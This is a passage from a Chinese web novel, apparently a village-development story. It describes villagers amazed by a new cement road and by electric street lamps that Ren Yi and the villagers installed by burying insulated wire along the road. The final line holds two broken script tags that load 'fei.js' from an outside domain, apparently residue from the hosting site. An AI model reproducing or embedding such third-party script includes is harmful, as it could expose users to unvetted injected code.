干了之后,硬得跟铁一样。
有个姓王的老汉,性子执拗,不信这东西能有多硬。他回家拿了把锄头,对着路面使劲刨,一下,两下,三下,胳膊都抡酸了,只在路面上刨出几道浅浅的白印子,连一点碎屑都没刨下来。
他愣了半天,蹲下去,伸手摸了摸那光滑坚实的地面,又摸了摸自己的锄头,锄头刃都有些卷了。他抬起头,对着周围的人,语气里满是惊叹:“这玩意儿比俺家的祖坟碑还硬!任先生教的法子,是真神啊!”
现在,这条水泥路从村口一直通到每家每户门口,平平整整,干干净净。路两边挖了排水沟,沟底也用水泥抹平,整整齐齐的。昨夜下过一场小雨,路面被冲刷得一尘不染,连个水坑都没有,踩上去,鞋底干干净净,没有一点泥土。
任弋走得很慢,感受着脚下那种坚实和光滑。和从前的泥土路不一样,泥土路一到下雨天就泥泞不堪,踩一脚泥,能粘半天;和石板路也不一样,石板路凹凸不平,走久了脚疼。这水泥路,是一种陌生的、安心的触感,走在上面,连心情都变得舒畅起来。
路边隔几丈就立着一根木杆子,都是选用坚硬的橡木做的,直直地立在路边,杆顶吊着一盏灯。那是村里的路灯,有玻璃罩子,里面是电灯,和任弋最初做的那盏,已经不一样了,更亮,也更耐用。
晚上天一黑,这些路灯就会一起亮起来,一直亮到半夜。有月亮的时候,那灯光和月光混在一起,柔和又明亮,分不清谁是谁,把整个村子都照得清清楚楚;没月亮的时候,那光就自己亮着,一串一串的,像落在人间的星星,驱散了夜里的黑暗,也驱散了人们对黑夜的恐惧。
这灯是去年装的。
当时任弋带着几个年轻人,沿着这条路,埋了一整圈电线。电线外面包着厚厚的麻布,浸过桐油,防水又绝缘,埋在地下半尺深的地方,不用担心被雨水泡坏,也不用担心被人不小心碰断。
为了这事,全村人都出动挖沟。男人们挖沟,女人们送水送干粮,孩子们跟在大人后面,捡石头、递工具,忙得不亦乐乎。挖了整整半个月,才把所有的电线都埋好,把路灯都装起来。
挖沟的时候,有小孩跟在大人后面捡石头,把捡到的漂亮石头,小心翼翼地装在口袋里,说是要留着当宝贝;有妇人提着篮子送水,一边送水,一边叮嘱男人们慢些干,别累着;有老人坐在路边看着,嘴里不停念叨着“这辈子没见过这种事”“任先生真是能人大仙”,眼里满是欣慰和感慨。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">